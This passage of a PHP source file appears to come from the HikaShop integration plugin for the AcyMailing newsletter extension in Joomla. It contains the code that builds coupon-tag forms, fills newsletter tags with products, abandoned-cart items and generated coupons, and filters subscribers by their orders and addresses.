</label> </td> <td> <?php echo JHTML::_('calendar', '', 'end', 'end', '%Y-%m-%d %H:%M', array('style' => 'width:100px', 'onchange' => 'updateTag();')); ?> </td> </tr> <tr> <td class="acykey"> <label for="validity_period"> <?php echo JText::_('VALIDITY_PERIOD'); ?> </label> </td> <td> <input style="width:60px;" type="text" id="validity_period" onchange="updateTag();" value="" placeholder="<?php echo JText::_('HIKA_UNLIMITED'); ?>"/> <?php echo JText::_('DAYS'); ?> </td> </tr> <?php if(hikashop_level(1)){ ?> <tr> <td class="acykey"> <label for="minimum_order"> <?php echo JText::_('MINIMUM_ORDER_VALUE'); ?> </label> </td> <td> <input style="width:50px;" type="text" id="minimum_order" value="0" onchange="updateTag();"/> </td> </tr> <tr> <td class="acykey"> <label for="quota"> <?php echo JText::_('DISCOUNT_QUOTA'); ?> </label> </td> <td> <input style="width:50px;" type="text" id="quota" value="" onchange="updateTag();"/> </td> </tr> <tr> <td class="acykey"> <label for="product_id"> <?php echo JText::_('PRODUCT'); ?> </label> </td> <td> <?php $this->db->setQuery("SELECT `product_id`, CONCAT(product_name,' ( ',product_code,' )') as `title` FROM #__hikashop_product WHERE `product_type`='main' AND `product_published`=1 ORDER BY `product_code` ASC"); $results = $this->db->loadObjectList(); $obj = new stdClass(); $obj->product_id = ''; $obj->title = JText::_('HIKA_NONE'); array_unshift($results, $obj); echo JHTML::_('select.genericlist', $results, 'product_id', 'size="1" style="width:150px;" onchange="updateTag();"', 'product_id', 'title', ''); ?> </td> </tr> <tr> <td class="acykey"> <label for="tax_id"> <?php echo JText::_('TAXATION_CATEGORY'); ?> </label> </td> <td> <?php $categoryType = hikashop_get('type.categorysub'); $categoryType->type = 'tax'; $categoryType->field = 'category_id'; echo $categoryType->display('', '', 'onchange="updateTag();"', true, 'tax_id'); ?> </td> </tr> <?php }else{ ?> <tr> <td> <input type="hidden" id="minimum_order" value="0"/> <input type="hidden" id="quota" value=""/> </td> </tr> <?php } ?> </table> </td> </tr> </table> </div> <?php echo $tabs->endPanel(); echo $tabs->endPane(); } function displayChildren($parentid, &$k, $level = 0){ if(empty($this->cats[$parentid])) return; foreach($this->cats[$parentid] as $oneCat){ $k = 1 - $k; echo '<tr id="product_cat'.$oneCat->category_id.'" class="row'.$k.'" onclick="applyAutoProduct('.$oneCat->category_id.',\'row'.$k.'\');" style="cursor:pointer;"><td class="acytdcheckbox"></td><td>'; echo str_repeat('- - ', $level).$oneCat->category_name.'</td></tr>'; $this->displayChildren($oneCat->category_id, $k, $level + 1); } } function acymailing_replacetags(&$email){ if(!$this->loadAcymailing()) return; $this->_replaceAuto($email); $this->_replaceProducts($email); } function acymailing_replaceusertags(&$email, &$user, $send = true){ if(!$this->loadAcymailing()) return; $this->_replaceCoupons($email, $user, $send); $this->_replaceAbandonedCarts($email, $user); } function _replaceAbandonedCarts(&$email, &$user, $send = true){ $tags = $this->acypluginsHelper->extractTags($email, 'hikashop_abandonedcart'); if(empty($tags)) return; $tagsReplaced = array(); foreach($tags as $i => $oneTag){ if(isset($tagsReplaced[$i])) continue; $tagsReplaced[$i] = $this->_replaceAbandonedCart($oneTag, $user); } $this->acypluginsHelper->replaceTags($email, $tagsReplaced, true); $this->_replaceProducts($email); } function _replaceAbandonedCart($oneTag, $user){ if(empty($user->userid)) return ''; $delay = 0; if(!empty($oneTag->nbdayscart)){ $delay = ($oneTag->nbdayscart * 86400); } $senddate = (time() - $delay); $config =& hikashop_config(); $createdstatus = $config->get('order_created_status', 'created'); $myquery = 'SELECT c.product_id FROM #__hikashop_order AS a LEFT JOIN #__hikashop_order AS b ON a.order_user_id = b.order_user_id AND b.order_id > a.order_id JOIN #__hikashop_order_product AS c ON a.order_id = c.order_id JOIN #__hikashop_user AS hikauser ON a.order_user_id = hikauser.user_id '; if(!empty($oneTag->paymentcart)) $myquery .= 'JOIN #__hikashop_payment AS payment ON payment.payment_type = a.order_payment_method AND payment.payment_id = '.intval($oneTag->paymentcart); $myquery .= ' WHERE hikauser.user_cms_id = '.intval($user->userid).' AND a.order_status = '.$this->db->Quote($createdstatus).' AND b.order_id IS NULL '; $myquery .= ' AND FROM_UNIXTIME(a.order_created,"%Y %d %m") = FROM_UNIXTIME('.$senddate.',"%Y %d %m")'; $this->db->setQuery($myquery); $Products = acymailing_loadResultArray($this->db); if(empty($Products)) return ''; $arrayElements = array(); foreach($Products as $oneProductId){ $args = array(); $args[] = 'hikashop_product:'.$oneProductId; if(!empty($oneTag->type)) $args[] = 'type:'.$oneTag->type; if(!empty($oneTag->lang)) $args[] = 'lang:'.$oneTag->lang; $arrayElements[] = '{'.implode('|', $args).'}'; } $stringTag = $this->acypluginsHelper->getFormattedResult($arrayElements, $oneTag); return $stringTag; } function _replaceCoupons(&$email, &$user, $send = true){ $results = array(); $match = '#{hikashop_coupon:(.*)}#Ui'; $variables = array('subject', 'body', 'altbody'); $found = false; foreach($variables as $var){ if(empty($email->$var)) continue; $found = preg_match_all($match, $email->$var, $results[$var]) || $found; if(empty($results[$var][0])) unset($results[$var]); } if(!$found) return; $tags = array(); foreach($results as $var => $allresults){ foreach($allresults[0] as $i => $oneTag){ if(isset($tags[$oneTag])) continue; if(!$send || empty($user->subid)){ $tags[$oneTag] = '<i>'.JText::_('ACY_CHECK_EMAIL_COUPON').'</i>'; }else{ $tags[$oneTag] = $this->generateCoupon($allresults, $i, $user); } } } foreach(array_keys($results) as $var){ $email->$var = str_replace(array_keys($tags), $tags, $email->$var); } } function _replaceAuto(&$email){ $this->acymailing_generateautonews($email); if(empty($this->tags)) return; $this->acypluginsHelper->replaceTags($email, $this->tags, true); } function acymailing_generateautonews(&$email){ $tags = $this->acypluginsHelper->extractTags($email, 'hikashop_auto_product'); $return = new stdClass(); $return->status = true; $return->message = ''; $this->tags = array(); if(empty($tags)) return $return; foreach($tags as $oneTag => $parameter){ if(isset($this->tags[$oneTag])) continue; $allcats = explode('-', $parameter->id); $selectedArea = array(); foreach($allcats as $oneCat){ if(empty($oneCat)) continue; $selectedArea[] = intval($oneCat); } $query = 'SELECT DISTINCT b.`product_id` FROM '.acymailing_table('hikashop_product_category', false).' as a LEFT JOIN '.acymailing_table('hikashop_product', false).' as b ON a.product_id = b.product_id'; $where = array(); if($this->params->get('stock', 0) == '1') $where[] = '(b.product_quantity = -1 || b.product_quantity > 0)'; if(!empty($selectedArea)){ $where[] = 'a.category_id IN ('.implode(',', $selectedArea).')'; } $where[] = "b.`product_published` = 1"; if(!empty($parameter->filter) AND !empty($email->params['lastgenerateddate'])){ $condition = 'b.`product_created` >\''.$email->params['lastgenerateddate'].'\''; if($parameter->filter == 'modify'){ $condition .= ' OR b.`product_modified` >\''.$email->params['lastgenerateddate'].'\''; } $where[] = $condition; } $query .= ' WHERE ('.implode(') AND (', $where).')'; if(!empty($parameter->order)){ $ordering = explode(',', $parameter->order); if($ordering[0] == 'rand'){ $query .= ' ORDER BY rand()'; }else{ $query .= ' ORDER BY b.`'.acymailing_secureField(trim($ordering[0])).'` '.acymailing_secureField(trim($ordering[1])); } } if(!empty($parameter->max)) $query .= ' LIMIT '.(int)$parameter->max; $this->db->setQuery($query); $allArticles = acymailing_loadResultArray($this->db); if(!empty($parameter->min) && count($allArticles) < $parameter->min){ $return->status = false; $return->message = 'Not enough products for the tag '.$oneTag.' : '.count($allArticles).' / '.$parameter->min; } $stringTag = ''; if(!empty($allArticles)){ if(file_exists(ACYMAILING_TEMPLATE.'plugins'.DS.'hikashop_auto_product.php')){ ob_start(); require(ACYMAILING_TEMPLATE.'plugins'.DS.'hikashop_auto_product.php'); $stringTag = ob_get_clean(); }else{ $arrayElements = array(); foreach($allArticles as $oneArticleId){ $args = array(); $args[] = 'hikashop_product:'.$oneArticleId; if(!empty($parameter->type)) $args[] = 'type:'.$parameter->type; if(!empty($parameter->lang)) $args[] = 'lang:'.$parameter->lang; if(!empty($parameter->price)) $args[] = 'price:'.$parameter->price; $arrayElements[] = '{'.implode('|', $args).'}'; } $stringTag = $this->acypluginsHelper->getFormattedResult($arrayElements, $parameter); } } $this->tags[$oneTag] = $stringTag; } return $return; } private function _replaceProducts(&$email){ $tags = $this->acypluginsHelper->extractTags($email, 'hikashop_product'); if(empty($tags)) return; $this->readmore = empty($email->template->readmore) ? JText::_('JOOMEXT_READ_MORE') : '<img src="'.ACYMAILING_LIVE.$email->template->readmore.'" alt="'.JText::_('JOOMEXT_READ_MORE', true).'" />'; $tagsReplaced = array(); foreach($tags as $i => $oneTag){ if(isset($tagsReplaced[$i])) continue; $tagsReplaced[$i] = $this->_replaceProduct($oneTag, $email); } $this->acypluginsHelper->replaceTags($email, $tagsReplaced, true); } function _replaceProduct($tag, &$email){ if(empty($tag->lang) && !empty($email->language)) $tag->lang = $email->language; $this->db->setQuery('SELECT b.*,a.* FROM '.acymailing_table('hikashop_product', false).' as a LEFT JOIN '.acymailing_table('hikashop_file', false).' as b ON a.product_id=b.file_ref_id AND file_type=\'product\' WHERE a.product_id = '.$tag->id.' ORDER BY b.file_ordering ASC, b.file_id ASC LIMIT 1'); $product = $this->db->loadObject(); if(empty($product)){ $app = JFactory::getApplication(); $j = new JVersion(); $version=substr($j->getShortVersion(), 0,1); if($version < 4) { if($app->isAdmin()) $app->enqueueMessage('The product "'.$tag->id.'" could not be loaded', 'notice'); }else{ if($app->isClient('administrator')) $app->enqueueMessage('The product "'.$tag->id.'" could not be loaded', 'notice'); } return ''; } if($product->product_type == 'variant'){ $this->db->setQuery('SELECT * FROM '.hikashop_table('variant').' AS a LEFT JOIN '.hikashop_table('characteristic').' AS b ON a.variant_characteristic_id=b.characteristic_id WHERE a.variant_product_id='.(int)$tag->id.' ORDER BY a.ordering'); $product->characteristics = $this->db->loadObjectList(); $productClass = hikashop_get('class.product'); $this->db->setQuery('SELECT b.*,a.* FROM '.acymailing_table('hikashop_product', false).' as a LEFT JOIN '.acymailing_table('hikashop_file', false).' as b ON a.product_id=b.file_ref_id AND file_type=\'product\' WHERE a.product_id = '.(int)$product->product_parent_id.' ORDER BY b.file_ordering ASC, b.file_id ASC LIMIT 1'); $parentProduct = $this->db->loadObject(); $productClass->checkVariant($product, $parentProduct); } $translationHelper = hikashop_get('helper.translation'); if($translationHelper->isMulti(true, false)) $this->acypluginsHelper->translateItem($product, $tag, 'hikashop_product'); $varFields = array(); foreach($product as $fieldName => $oneField){ $varFields['{'.$fieldName.'}'] = $oneField; } $tag->itemid = intval($this->params->get('itemid')); $config =& hikashop_config(); $currencyClass = hikashop_get('class.currency'); $main_currency = $currency_id = (int)$config->get('main_currency', 1); $zone_id = explode(',', $config->get('main_tax_zone', 0)); $zone_id = count($zone_id) ? array_shift($zone_id) : 0; $ids = array($product->product_id); $discount_before_tax = (int)$config->get('discount_before_tax', 0); $currencyClass->getPrices($product, $ids, $currency_id, $main_currency, $zone_id, $discount_before_tax); $finalPrice = ''; if(empty($tag->price) || $tag->price == 'full'){ if($this->params->get('vat', 1)){ $finalPrice = @$currencyClass->format($product->prices[0]->price_value_with_tax, $product->prices[0]->price_currency_id); }else{ $finalPrice = $currencyClass->format($product->prices[0]->price_value, $product->prices[0]->price_currency_id); } if(!empty($product->discount)){ if($this->params->get('vat', 1)){ $finalPrice = '<strike>'.$currencyClass->format($product->prices[0]->price_value_without_discount_with_tax, $product->prices[0]->price_currency_id).'</strike> '.$finalPrice; }else{ $finalPrice = '<strike>'.$currencyClass->format($product->prices[0]->price_value_without_discount, $product->prices[0]->price_currency_id).'</strike> '.$finalPrice; } } }elseif($tag->price == 'no_discount'){ if($this->params->get('vat', 1)){ $finalPrice = $currencyClass->format($product->prices[0]->price_value_without_discount_with_tax, $product->prices[0]->price_currency_id); }else{ $finalPrice = $currencyClass->format($product->prices[0]->price_value_without_discount, $product->prices[0]->price_currency_id); } } $varFields['{finalPrice}'] = $finalPrice; if(empty($tag->type) || $tag->type == 'full'){ $description = $product->product_description; }else{ $pos = strpos($product->product_description, '<hr id="system-readmore"'); if($pos !== false){ $description = substr($product->product_description, 0, $pos); }else{ $description = substr($product->product_description, 0, 100).'...'; } } $link = 'index.php?option=com_hikashop&ctrl=product&task=show&cid='.$product->product_id; if(!empty($tag->lang)) $link .= '&lang='.substr($tag->lang, 0, strpos($tag->lang, ',')); if(!empty($tag->itemid)) $link .= '&Itemid='.$tag->itemid; if(!empty($product->product_canonical)) $link = $product->product_canonical; $link = acymailing_frontendLink($link); $varFields['{link}'] = $link; $image = hikashop_get('helper.image'); if(!empty($product->file_path)) { $img = $image->getThumbnail($product->file_path, null); if($img->success) $varFields['{pictHTML}'] = $img->url; else $varFields['{pictHTML}'] = $image->display($product->file_path, false, $product->product_name); } if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'hikashop_product.php')){ ob_start(); require(ACYMAILING_MEDIA.'plugins'.DS.'hikashop_product.php'); $result = ob_get_clean(); $result = str_replace(array_keys($varFields), $varFields, $result); return $result; } $result = ''; $astyle = ''; if(empty($tag->type) || $tag->type != 'title'){ $result .= '<div class="acymailing_product">'; $astyle = 'style="text-decoration:none;" name="product-'.$product->product_id.'"'; } $result .= '<a '.$astyle.' target="_blank" href="'.$link.'">'; if(empty($tag->type) || $tag->type != 'title') $result .= '<h2 class="acymailing_title">'; $result .= $product->product_name; if(!empty($finalPrice)) $result .= ' '.$finalPrice; if(empty($tag->type) || $tag->type != 'title') $result .= '</h2>'; $result .= '</a>'; if(empty($tag->type) || $tag->type != 'title'){ if(!empty($product->file_path)){ $config =& hikashop_config(); $uploadFolder = ltrim(JPath::clean(html_entity_decode($config->get('uploadfolder'))), DS); $uploadFolder = rtrim($uploadFolder, DS).DS; $image->uploadFolder_url = str_replace(DS, '/', $uploadFolder); $image->uploadFolder_url = ACYMAILING_LIVE.$image->uploadFolder_url; $pictureHTML = $image->display($product->file_path, false, $product->product_name, '', '', $config->get('thumbnail_x', 100), $config->get('thumbnail_y', 100)); $pictureHTML = '<a target="_blank" style="text-decoration:none;border:0" href="'.$link.'" >'.$pictureHTML.'</a>'; $result .= '<table class="acymailing_content"><tr><td valign="top" style="padding-right:5px">'.$pictureHTML.'</td><td>'.$description.'</td></tr></table>'; }else{ $result .= $description; } } if(empty($tag->type) || $tag->type != 'title') $result .= '</div>'; $result = $this->acypluginsHelper->removeJS($result); return $result; } function generateCoupon(&$allresults, $i, &$user){ list($minimum_order, $quota, $start, $end, $percent_amount, $flat_amount, $currency_id, $code, $product_id, $tax_id, $validity_period) = explode('|', $allresults[1][$i]); jimport('joomla.user.helper'); $key = JUserHelper::genrandompassword(5); if(!hikashop_level(1)){ $minimum_order = 0; $quota = ''; $product_id = ''; } if($percent_amount > 0){ $value = $percent_amount; }else{ $value = $flat_amount; } $value = str_replace(',', '.', $value); if($start){ $start = hikashop_getTime($start); } if($end){ $end = hikashop_getTime($end); } if((int)$validity_period > 0) { $end_period = time() + (int)$validity_period * 86400; if($end_period > $end) $end = $end_period; } $clean_name = strtoupper($user->name); $space = strpos($clean_name, ' '); if(!empty($space)){ $clean_name = substr($clean_name, 0, $space); } $code = str_replace(array('[name]', '[clean_name]', '[subid]', '[email]', '[key]', '[flat]', '[percent]', '[value]', '[prodid]'), array($user->name, $clean_name, $user->subid, $user->email, $key, $flat_amount, $percent_amount, $value, $product_id), $code); $this->db->setQuery('INSERT IGNORE INTO '.acymailing_table('hikashop_discount', false).'( `discount_code`, `discount_percent_amount`, `discount_flat_amount`, `discount_type`, `discount_start`, `discount_end`, `discount_minimum_order`, `discount_quota`, `discount_currency_id`, `discount_product_id`, `discount_tax_id`, `discount_published` ) VALUES ('.$this->db->Quote($code).','.$this->db->Quote($percent_amount).','.$this->db->Quote($flat_amount).',\'coupon\','.$this->db->Quote($start).','.$this->db->Quote($end).','.$this->db->Quote($minimum_order).','.$this->db->Quote($quota).','.$this->db->Quote(hikashop_getCurrency()).','.$this->db->Quote($product_id).','.$this->db->Quote($tax_id).', 1)'); $this->db->execute(); return $code; } function onAcyDisplayFilters(&$type, $context = 'massactions'){ if(!$this->loadAcymailing()) return ''; if($this->params->get('displayfilter_'.$context, true) == false) return ''; $this->db->setQuery("SELECT `product_id` as value, CONCAT(`product_name`,' ( ',`product_code`,' ) ') as text FROM ".acymailing_table('hikashop_product', false)." ORDER BY `product_code` ASC LIMIT 1000"); $allProducts = $this->db->loadObjectList(); if(!empty($allProducts)){ $selectOne = new stdClass; $selectOne->value = 0; $selectOne->text = JText::_('ACY_ONE_PRODUCT'); array_unshift($allProducts, $selectOne); } $hikaBuy = array(); $hikaBuy[] = JHTML::_('select.option', '1', JText::_('ACY_BOUGHT')); $hikaBuy[] = JHTML::_('select.option', '0', JText::_('ACY_DIDNOTBOUGHT')); $hikaGroupsParams = acymailing_get('type.operatorsin'); $hikaGroupsParams->js = 'onchange="countresults(__num__)"'; $operators = acymailing_get('type.operators'); $operators->extra = 'onchange="countresults(__num__)"'; $fields = acymailing_getColumns('#__hikashop_user'); $hikaFields = array(); if(!empty($fields)){ foreach($fields as $oneField => $fieldType){ $hikaFields[] = JHTML::_('select.option', $oneField, $oneField); } } $return = ''; $return .= '<div id="filter__num__hikaallorders">'; $return .= $hikaGroupsParams->display("filter[__num__][hikaallorders][type]").' '; $category = hikashop_get('type.categorysub'); $category->type = 'status'; $return .= $category->display("filter[__num__][hikaallorders][status]", '', 'size="1" onchange="countresults(__num__)" ', false); $payment = hikashop_get('type.payment'); $payment->extra = 'onchange="countresults(__num__)"'; $return .= $payment->display("filter[__num__][hikaallorders][payment]", '', false); $return .= '<br/> <input onclick="displayDatePicker(this,event)" name="filter[__num__][hikaallorders][cdateinf]" type="text" onchange="countresults(__num__)" /> < '.JText::_('CREATED_DATE').' < <input onclick="displayDatePicker(this,event)" type="text" name="filter[__num__][hikaallorders][cdatesup]" onchange="countresults(__num__)" />'; $return .= '<br/> <input onclick="displayDatePicker(this,event)" name="filter[__num__][hikaallorders][mdateinf]" type="text" onchange="countresults(__num__)" /> < '.JText::_('MODIFIED_DATE').' < <input onclick="displayDatePicker(this,event)" type="text" name="filter[__num__][hikaallorders][mdatesup]" onchange="countresults(__num__)" />'; $return .= '<br/> <input onclick="displayDatePicker(this,event)" name="filter[__num__][hikaallorders][idateinf]" type="text" onchange="countresults(__num__)" /> < '.JText::_('INVOICE_DATE').' < <input onclick="displayDatePicker(this,event)" type="text" name="filter[__num__][hikaallorders][idatesup]" onchange="countresults(__num__)" />'; $return .= '</div>'; $type['hikaallorders'] = 'HikaShop '.JText::_('ORDERS'); if(!empty($allProducts)){ $dateFilters = array(); $dateFilters[] = JHTML::_('select.option', 'order_created', JText::_('CREATED_DATE')); $dateFilters[] = JHTML::_('select.option', 'order_modified', JText::_('MODIFIED_DATE')); $dateFilters[] = JHTML::_('select.option', 'order_invoice_created', JText::_('INVOICE_DATE')); $return .= '<div id="filter__num__hikaorder">'.JHTML::_('select.genericlist', $hikaBuy, "filter[__num__][hikaorder][type]", 'class="custom-select" size="1" onchange="countresults(__num__)" ', 'value', 'text').' '; $return .= JHTML::_('select.genericlist', $allProducts, "filter[__num__][hikaorder][product]", 'class="custom-select" style="max-width:200px" size="1" onchange="countresults(__num__)" ', 'value', 'text'); $this->db->setQuery('SELECT `category_id` AS value, `category_name` AS text FROM '.acymailing_table('hikashop_category', false).' WHERE `category_type` = "product" ORDER BY `category_name` ASC LIMIT 1000'); $allCats = $this->db->loadObjectList(); if(!empty($allCats)){ $selectOne = new stdClass; $selectOne->value = 0; $selectOne->text = JText::_('ACY_ANY_CATEGORY'); array_unshift($allCats, $selectOne); } $return .= ' '.JHTML::_('select.genericlist', $allCats, "filter[__num__][hikaorder][cat]", 'class="custom-select" style="max-width:200px" size="1" onchange="countresults(__num__)" ', 'value', 'text'); $return .= '<br/> <input onclick="displayDatePicker(this,event)" type="text" name="filter[__num__][hikaorder][creationdateinf]" onchange="countresults(__num__)" /> < '.JHTML::_('select.genericlist', $dateFilters, "filter[__num__][hikaorder][datefield]", 'class="custom-select" size="1" onchange="countresults(__num__)" ', 'value', 'text').' < <input onclick="displayDatePicker(this,event)" type="text" name="filter[__num__][hikaorder][creationdatesup]" onchange="countresults(__num__)" />'; $return .= '</div>'; $type['hikaorder'] = 'HikaShop '.JText::_('CUSTOMERS'); } if(!empty($hikaFields)){ $return .= '<div id="filter__num__hikafield">'.JHTML::_('select.genericlist', $hikaFields, "filter[__num__][hikafield][map]", 'class="custom-select" onchange="countresults(__num__)" size="1"', 'value', 'text'); $return .= ' '.$operators->display("filter[__num__][hikafield][operator]").' <input class="inputbox" type="text" name="filter[__num__][hikafield][value]" size="50" value="" onchange="countresults(__num__)" />'; $return .= '</div>'; $type['hikafield'] = 'HikaShop '.JText::_('FIELD'); } $this->db->setQuery("SELECT `zone_namekey` AS value, CONCAT(`zone_name`,' ( ',`zone_name_english`,' )') AS text FROM ".acymailing_table('hikashop_zone', false)." WHERE `zone_type` = 'country' ORDER BY `zone_name_english` ASC LIMIT 1000"); $allCountries = $this->db->loadObjectList(); $selectOne = new stdClass; $selectOne->value = 0; $selectOne->text = JText::_('COUNTRYCAPTION'); array_unshift($allCountries, $selectOne); $jsOnChange = "displayCondFilter('displayStates', 'toChange__num__',__num__,'country='+this.value); "; $return .= '<div id="filter__num__hikaaddress">'; $return .= $hikaGroupsParams->display("filter[__num__][hikaaddress][type]").' '; $return .= JHTML::_('select.genericlist', $allCountries, "filter[__num__][hikaaddress][country]", 'class="custom-select" onchange="'.$jsOnChange.'countresults(__num__)" size="1"', 'value', 'text'); $return .= ' <span id="toChange__num__"></span>'; $return .= '</div>'; $type['hikaaddress'] = 'HikaShop '.JText::_('ADDRESSCAPTION'); $return .= '<div id="filter__num__hikareminder">'; $val = '<input class="inputbox" type="text" name="filter[__num__][hikareminder][nbdays]" style="width:50px" value="1" onchange="countresults(__num__)" />'; $return .= JText::sprintf('DAYS_AFTER_ORDERING', $val).'<br/>'; $payment = hikashop_get('type.payment'); $payment->extra = 'onchange="countresults(__num__)"'; $return .= $payment->display("filter[__num__][hikareminder][payment]", '', false); $return .= '</div>'; $type['hikareminder'] = 'HikaShop Reminder'; $acyconfig = acymailing_config(); if(version_compare($acyconfig->get('version'), '4.9.4', '<')){ echo 'Please update AcyMailing, the HikaShop plugin may not work properly with this version'; } return $return; } function onAcyTriggerFct_displayStates(){ $num = hikaInput::get()->getInt('num'); $country = hikaInput::get()->getString('country'); if(empty($country)) return ''; $this->db->setQuery("SELECT z.`zone_namekey` AS value, CONCAT(z.`zone_name`,' ( ',z.`zone_name_english`,' )') AS text FROM ".acymailing_table('hikashop_zone', false)." AS z JOIN ".acymailing_table('hikashop_zone_link', false)." AS l ON z.zone_namekey = l.zone_child_namekey WHERE z.`zone_type` = 'state' AND l.zone_parent_namekey = ".$this->db->Quote($country)." ORDER BY z.`zone_name_english` ASC LIMIT 1000"); $states = $this->db->loadObjectList(); $selectOne = new stdClass; $selectOne->value = 0; $selectOne->text = JText::_(' - - - '); array_unshift($states, $selectOne); return JHTML::_('select.genericlist', $states, "filter[".$num."][hikaaddress][state]", 'onchange="countresults('.$num.')" class="inputbox" size="1"', 'value', 'text', 0, 'filter'.$num.'hikaaddressstate'); } function onAcyProcessFilterCount_hikaaddress(&$query, $filter, $num){ $this->onAcyProcessFilter_hikaaddress($query, $filter, $num); return JText::sprintf('SELECTED_USERS', $query->count()); } function onAcyProcessFilter_hikaaddress(&$query, $filter, $num){ if(!$this->loadAcymailing() || empty($filter['country'])) return; $join = '#__hikashop_user AS '.$num.'hikauser ON sub.email = '.$num.'hikauser.user_email'; $join2 = '#__hikashop_address AS '.$num.'hikaaddress ON '.$num.'hikauser.user_id = '.$num.'hikaaddress.address_user_id '; if(!empty($filter['state'])){ $join2 .= 'AND address_state = '.$query->db->Quote($filter['state']); }else $join2 .= 'AND address_country = '.$query->db->Quote($filter['country']); if($filter['type'] == 'IN'){ $query->join[$num.'hikashopaddressuser'] = $join; $query->join[$num.'hikashopaddress'] = $join2; }else{ $query->leftjoin[$num.'hikashopaddressuser'] = $join; $query->leftjoin[$num.'hikashopaddress'] = $join2; $query->where[$num.'hikashopaddress'] = $num.'hikaaddress.address_user_id IS NULL'; } } function onAcyProcessFilterCount_hikaallorders(&$query, $filter, $num){ $this->onAcyProcessFilter_hikaallorders($query, $filter, $num); return JText::sprintf('SELECTED_USERS', $query->count()); } function onAcyProcessFilterCount_hikafield(&$query, $filter, $num){ $this->onAcyProcessFilter_hikafield($query, $filter, $num); return JText::sprintf('SELECTED_USERS', $query->count()); } function onAcyProcessFilterCount_hikaorder(&$query, $filter, $num){ $this->onAcyProcessFilter_hikaorder($query, $filter, $num); return JText::sprintf('SELECTED_USERS', $query->count()); } function onAcyProcessFilterCount_hikareminder(&$query, $filter, $num){ $this->onAcyProcessFilter_hikareminder($query, $filter, $num); return JText::sprintf('SELECTED_USERS', $query->count()); } function onAcyProcessFilter_hikaallorders(&$query, $filter, $num){ if(!$this->loadAcymailing()) return; $lj = "`#__hikashop_user` as hikaallordersUser$num on hikaallordersUser$num.user_email = sub.`email` LEFT JOIN `#__hikashop_order` as hikaallorders$num ON hikaallorders$num.`order_user_id` = hikaallordersUser$num.user_id"; if(!empty($filter['status'])) $lj .= " AND hikaallorders$num.`order_status` = ".$this->db->Quote($filter['status']); if(!empty($filter['cdateinf'])){ $filter['cdateinf'] = acymailing_replaceDate($filter['cdateinf']); if(!is_numeric($filter['cdateinf'])) $filter['cdateinf'] = strtotime($filter['cdateinf']); $lj .= " AND hikaallorders$num.`order_created` > ".$this->db->Quote($filter['cdateinf']); } if(!empty($filter['cdatesup'])){ $filter['cdatesup'] = acymailing_replaceDate($filter['cdatesup']); if(!is_numeric($filter['cdatesup'])) $filter['cdatesup'] = strtotime($filter['cdatesup']); $lj .= " AND hikaallorders$num.`order_created` < ".$this->db->Quote($filter['cdatesup']); } if(!empty($filter['mdateinf'])){ $filter['mdateinf'] = acymailing_replaceDate($filter['mdateinf']); if(!is_numeric($filter['mdateinf'])) $filter['mdateinf'] = strtotime($filter['mdateinf']); $lj .= " AND hikaallorders$num.`order_modified` > ".$this->db->Quote($filter['mdateinf']); } if(!empty($filter['mdatesup'])){ $filter['mdatesup'] = acymailing_replaceDate($filter['mdatesup']); if(!is_numeric($filter['mdatesup'])) $filter['mdatesup'] = strtotime($filter['mdatesup']); $lj .= " AND hikaallorders$num.`order_modified` < ".$this->db->Quote($filter['mdatesup']); } if(!empty($filter['idateinf'])){ $filter['idateinf'] = acymailing_replaceDate($filter['idateinf']); if(!is_numeric($filter['idateinf'])) $filter['idateinf'] = strtotime($filter['idateinf']); $lj .= " AND hikaallorders$num.`order_invoice_created` > ".$this->db->Quote($filter['idateinf']); } if(!empty($filter['idatesup'])){ $filter['idatesup'] = acymailing_replaceDate($filter['idatesup']); if(!is_numeric($filter['idatesup'])) $filter['idatesup'] = strtotime($filter['idatesup']); $lj .= " AND hikaallorders$num.`order_invoice_created` < ".$this->db->Quote($filter['idatesup']); } if(!empty($filter['payment'])){ $column = 'order_payment_method'; if(is_numeric($filter['payment'])){ $column = 'order_payment_id'; } $lj .= " AND hikaallorders$num.`".$column."` = ".$this->db->Quote($filter['payment']); } $query->leftjoin['hikaallorders_'.$num] = $lj; $operator = ($filter['type'] == 'IN') ? 'IS NOT NULL' : 'IS NULL'; $query->where[] = "hikaallorders$num.order_id ".$operator; } function onAcyProcessFilter_hikafield(&$query, $filter, $num){ if(!$this->loadAcymailing()) return; if($filter['map'] == 'user_created') $filter['value'] = acymailing_replaceDate($filter['value']); $query->join[$num.'hikashopfield'] = '#__hikashop_user AS '.$num.'hikafield ON sub.email = '.$num.'hikafield.user_email'; $query->where[$num.'hikashopfield'] = $query->convertQuery($num.'hikafield', $filter['map'], $filter['operator'], $filter['value']); } function onAcyProcessFilter_hikareminder(&$query, $filter, $num){ if(!$this->loadAcymailing()) return; $delay = 0; $comparisionFormat = '%Y %d %m'; if(!empty($filter['nbtype'])){ $delay = ($filter['nbdays'] * (int)$filter['nbtype']); switch((int)$filter['nbtype']){ case 60: $comparisionFormat = '%Y %d %m %h %i'; break; case 3600: $comparisionFormat = '%Y %d %m %h'; break; case 604800: $comparisionFormat = '%Y %d %u'; break; case 2635200: $comparisionFormat = '%Y %d'; break; case 31622400: $comparisionFormat = '%Y'; break; case 86400: default: break; } }elseif(!empty($filter['nbdays'])){ $delay = ($filter['nbdays'] * 86400); }elseif(!empty($filter['senddate'])) $delay = ($filter['senddate'] * 3600); $senddate = (time() - $delay); $config =& hikashop_config(); $createdstatus = $config->get('order_created_status', 'created'); $myquery = 'SELECT hikauser.user_email FROM #__hikashop_order AS a LEFT JOIN #__hikashop_order AS b ON a.order_user_id = b.order_user_id AND b.order_id > a.order_id JOIN #__hikashop_user AS hikauser ON a.order_user_id = hikauser.user_id '; if(!empty($filter['payment'])) $myquery .= 'JOIN #__hikashop_payment AS payment ON payment.payment_type = a.order_payment_method AND payment.payment_id = '.intval($filter['payment']); $myquery .= ' WHERE a.order_status = '.$this->db->Quote($createdstatus).' AND b.order_id IS NULL '; if(!empty($senddate)) $myquery .= 'AND FROM_UNIXTIME(a.order_created,"%Y %d %m") = FROM_UNIXTIME('.$senddate.',"%Y %d %m")'; $this->db->setQuery($myquery); $allOrders = acymailing_loadResultArray($this->db); if(empty($allOrders)) $allOrders[] = '-1'; $query->where[] = "sub.email IN ('".implode("','", $allOrders)."')"; } function onAcyProcessFilter_hikaorder(&$query, $filter, $num){ if(!$this->loadAcymailing()) return; $config =& hikashop_config(); $statuses = $config->get('invoice_order_statuses', 'confirmed,shipped'); if(empty($statuses)) $statuses = 'confirmed,shipped'; $statuses = explode(',', $statuses); $condition = array(); foreach($statuses as $status){ if(!empty($status)) $condition[] = $query->db->Quote($status); } $myquery = "SELECT 